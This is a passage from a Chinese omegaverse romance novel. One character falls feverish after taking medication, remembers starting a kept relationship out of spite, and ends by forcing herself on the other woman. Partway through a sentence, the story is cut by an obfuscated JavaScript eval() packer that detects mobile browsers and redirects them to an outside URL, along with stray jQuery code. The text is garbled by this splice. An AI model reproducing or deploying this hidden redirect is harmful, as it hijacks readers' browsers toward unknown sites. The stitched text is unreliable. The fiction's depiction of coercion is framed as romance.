舒清柚的脸上感到温热呼吸,后颈激起一层薄薄的痒意。
林絮没有发情,鼻尖围绕着沐浴乳洗后的薰衣草淡香,相较林絮的信息素,更让人放松。
可眼下,不知分寸用在林絮身上再适合不过,无视地点场合时间,小孩子还在一旁。
她们的姿势亲昵、暧昧。
林絮将舒清柚迫至流理台,腰际抵住石英台面,水龙头的水珠落了几滴,打在不锈钢槽,声音异常清晰。
尽管她未使用Alpha天然的威慑,但一触即发的危机度丝毫不降。
舒清柚偏过脸,几缕发丝从圈带垂落,遮掩持续升热的耳尖。
伸出食指,点在林絮的肩前。
“...有点近。”
她们用的是同款洗发水,林絮却能分辨出其中不同,靠近舒清柚,有种致人沉醉的甜香。
只需要再接近几公分,即可品尝...林絮的下腹抽了下。
“噢,对不起,我没注意。”
林絮回过神,不舍地退到原位。
她视线到处乱跑,感觉唇变得干涸。
拿起水杯咕噜几声全部喝光,杯子的玻璃面印出掌心的汗渍。
“其实,馒头也很好吃,舒姐姐。”
这回真的饿,她拿起馒头狠命咬了大口,囫囵吞下,还是无法排解饿意。
“请问我可以吃菜吗?舒姐姐。”
连唤两声舒姐姐,筷子已经快要碰到浓油酱赤的红肉,还明知故问。
舒清柚捻着指腹,从喉间漏出嗯字。
目睹全程的舒绒则是满脸忧愁。
她有可爱造型的儿童碗筷,平常都是妈妈喂她,这会她拿着练习筷一整个呆住。
不懂大人们在做什么,但妈妈又被欺负了。
出于难以发泄的情绪,她抓住筷子向前,生涩地戳着林絮碗里的米饭。
啃馒头的林絮:“???”
“要我喂你吗?”林絮邀功似的,一把按住舒绒作乱的胳膊,嗓音清亮。
“舒姐姐,以后都让我来喂她吧!”
舒清柚不在意这细节,其实舒绒早就可以独立吃饭,但就是过度依赖母亲。
有时候她会担心舒绒去上幼儿园,能不能适应满是陌生人的环境。
“可以。”
林絮低头,阴恻恻地提醒舒绒:“我最讨厌别人动我的东西。”
言毕,舒绒嘴巴张大,猝不及防地,被塞了满口米饭。
舒绒含泪咀嚼,惊恐地想林絮真是个超级坏姐姐。
一顿饭吃下来,三个人心里都装了事情,林絮勤快许多,抢着整理桌子,洗碗,精力用不完似的,拿起吸尘器一通打扫。
她擦拭额头的汗,脸透着红,发现通往二楼的门是锁住的,从下往上看,铜锁看起来挺新的。
“舒姐姐,上面有什么不能见人的东西吗?”
舒清柚正在茶几前教舒绒识字,她手指在空中滞了下,很快落在拼音上。
头也不抬,淡声道:“没什么重要的。”
“你脸还没好,把药吃了。”
有种吃闭门羹的感觉,林絮无精打采地干好活,抽空吞了颗抗过敏药。
药效来的快,而且有点奇怪,让她昏昏欲睡,林絮打着哈欠,晃悠到房间门口。
“舒姐姐,我好困,去休息了。”
舒清柚扫了眼家里地板,林絮的确在用心清理,但更像是在献殷勤。
直到傍晚时分,夕光漫霞,客房门依旧紧闭,舒清柚把书放下,距林絮睡下,时钟已经走过四个小时。
林絮睡眠一直很浅,也没有午睡习惯,舒清柚心里突生不妙的预感。
叩响门板。
她在门口驻足片刻,里头没有动静,唤了声林絮的名字,毫无回馈。
素手搭在门把上,顺时针一转。
门没有锁,屋内窗帘拉进,像是夜晚入侵。
床上鼓起影影绰绰的小山包。
“还在睡?”
舒清柚问了一句,走近,拧开台灯,能见度提高不少。
不正常,舒清柚轻松撩开被子一角。
林絮腿长,这会却双腿蜷缩,手扣在胸前,以一种在子宫羊水的形态重重喘息。
纯色棉质睡衣被汗水浸透,贴在后背。
她额间渗出不少细密的汗,嘴唇紧抿,脸像是在滚水里烫过一遍的红。
舒清柚眉心蹙了蹙。
掌心都还没碰到林絮,热度就已隔空附在指尖。
凑近还能听到林絮喉咙里发出不明字节的嘤咛。
“你发烧了。”
舒清柚找到退烧药,前几天刚服用过,就摆在床头。
她对林絮中午吃的抗过敏药内心存疑,没再耽搁,她坐在床边,扶起林絮的脑袋靠在她腿上。
温声哄着:“张嘴。”
恍惚间,林絮发烫的鼻息翕合,她晕乎乎地,一丝久违的橙香飘入。
怎么可能。
已经四年,那个女人还阴魂不散出现在她梦中,她紧皱眉头。
都多少次了,她无数次想要抵抗的信息素,包括柑橘类水果,前调与橙挂钩的香水。
为此,她只用调香师专门为她定制的香水。
倒不是触景生情,她只是单纯不愿意想起舒清柚。
五年前,最爱的母亲车祸死后,林絮从日常的不安,直至患上严重强迫症,她深知这一切的源头,却无能为力。
但她不能终日堕落萎靡。
林氏家族庞大,根系错综复杂,她清楚自己股份和投票权被不少亲戚觊觎。
在极为混乱的精神状态下,她继承了母亲的股份及信托,19岁的林絮渴望得到决策权,然而她并不具备让董事信服的强权实力。
好在林絮母亲一直是林老太最看重的大女儿,林絮因此也被老太当作继承人看待,
林老太以一己之力排除众异,为林絮保驾护航,笼络关键董事和股东,给予董事更多的分红,防止她们倒戈。
纵使一切看似顺风顺水,林絮精神却每况愈下。
没有任何人知道,白天的她会挂上轻松自信的面具,谈判巧舌如簧,侃侃而谈,尽可能展现上位者的掌控力。
可她年纪轻轻染上酗酒的毛病,晚上必须把自己灌醉才能睡着。
包养舒清柚,仿佛一切都得到宣泄,抱着报复的心态提出包养,就算她有未婚妻又如何。
反正圈子里面哪个人不包养Omega。
初见舒清柚,是在她家破产不久,双手托着麂皮保护的梅瓶,往卡车上送。
卡车上堆放不少手工陶瓷,还有几台大型机器,林絮猜想也许是统一出售。
司机不断在催促她快点,神情不耐烦,眼睛却盯着舒清柚腰胸优美的曲线。
舒清柚那时穿的像大学刚毕业,基本款白衬衫,卷边牛仔裤,扎着低马尾,整体风格简单。
隔着人行道的距离,林絮勉强看清她的侧脸,流畅的下颌角,发丝不断擦拂瓷白脸庞,大约因为着急,无暇顾及形象。
想必她也很长一段时间没睡好了。
林絮时不时打量她,看她搬上搬下,林絮闲适地倚在车内抽烟。
燃烧的烟雾持续不断从名贵低调的黑车内溢出。
天色渐暗,唯独她指尖的金色滤嘴,残余猩亮光点。
已抽了大半包苏伯莱,林絮手腕轻摆,露出银灰色机械手表,表盘蓝钢指针走了一圈。
其实也没什么好看的,却不知不觉度过一个小时。
那辆卡车轰隆隆地开走了,舒清柚过了会从工作室现身,她蹲在门口,和几株长势良好的多肉打交道。
林絮不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325879|167612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
避讳,看着她单薄脆弱的背影,心想这Omega好迟钝,陌生Alpha长久的偷窥凝视都感知不到吗?
她无端升起嘲弄的心思,在烟灰缸内摁灭最后一抹星亮。
推开车门,黑色西装裤包裹的长腿迈出,呼吸着最新鲜的空气。
她目标很明确,几分钟前她就决定,玩一玩好了。
“老板你好。”
这是林絮对她开口说的第一句话,她刻意用上友善的语气,眉眼亦然。
舒清柚背脊突然僵住,过了几秒才站起转身面向林絮。
近距离之下,舒清柚很漂亮,不是张扬的美,凤眸低敛,唇瓣淡粉色,曲线柔和,鼻头有一点泛红。
光看着她就有种岁月静好感,走近了,这种感觉尤为明显。
林絮估计她才哭过。
舒清柚轻言细语,面上掩不住的失落:“很快就不是了。”
“唉,是吗?太可惜了。”
装作惋惜,林絮敏感地摇头叹息:“我还想来打卡呢,网上对这家店好评率蛮高。”
舒清柚局促地捋起发丝别在耳后,“以后或许...”
止住,哽咽地滚动喉头。
林絮当然知道她不再是这家店的老板,她从口袋摸出小包纸巾,递给舒清柚。
“不介意的话,用纸巾擦下,你这里,”林絮指了指她淡青色的眼圈,弯起嘴角,“还有点湿湿的。”
“谢谢。”
......
迷糊中,橙香味愈加肆意侵占周身。
她闷哼一声,吃力地掀开沉重的眼皮,脑袋稍微一动,就像浆糊翻滚。
林絮警惕后仰,刺了舒清柚一眼:“我在做梦?”
舒清柚不解林絮突如其来的冷脸相对。
她的手还放在林絮脖颈后方,愣了下,觉得有哪里不对劲。
下意识道:“你发烧了,先吃药。”
药?
林絮将信将疑垂眸,舒清柚掌心有颗白色药片,余光瞥见桌上摆了一杯清水。
呵,林絮很快明白,怎么可能?
她迅速攥住舒清柚的手腕,药片因腕部脱力掉在床上。
“林絮?”
舒清柚愣神片刻,心跳有些加快。
还没问出下一句,她就被林絮拽进怀中。
力气之大,这几天都不曾有过。
林絮反过身,迅速扣住舒清柚的双手,喘/息失调,脸色通红。
震惊之余,舒清柚双肩猛地被按压,后脑勺撞到枕头,带来轻微的震痛。
她不禁发出短暂的惊呼。
“疼...”
挽好的头发如瀑般铺散开来,与白腻的肌肤形成强烈视觉对比。
林絮眼眸发红,橙香不断调动脑内神经。
“疼?”
林絮咕哝着重复,欺身,长卷发垂在舒清柚颈间,发丝绕在一处。
反正这只是梦境,想做什么未尝不可。
怎么这般真实,就连光滑触感,也如她办公室里的那套茶盏一样。
那些早该扔掉的没用物件,却留下来徒增烦恼。
舒清柚离开后,林絮的强迫症演变成洁癖。
不允许任何人碰她,陪未婚妻出席宴会,也不准她有肢/体接触。
梦里的舒清柚干干净净。
撕开抑制贴,花香蔓延开来,林絮深吸口气,阖眼。
舒清柚瞳孔骤缩,不可置信。
与此同时,不受控制地发热,呼吸逐渐加重。
她吃力地缓过神,极力忍耐不由自主的反应,沉声:“你恢复了?”
一发不可收拾的信息素染上浓烈的yu,就像暴雨击碎风平浪静湖面。
“恢复...”
林絮俯视着,危险地眯眼。
“什么意思?”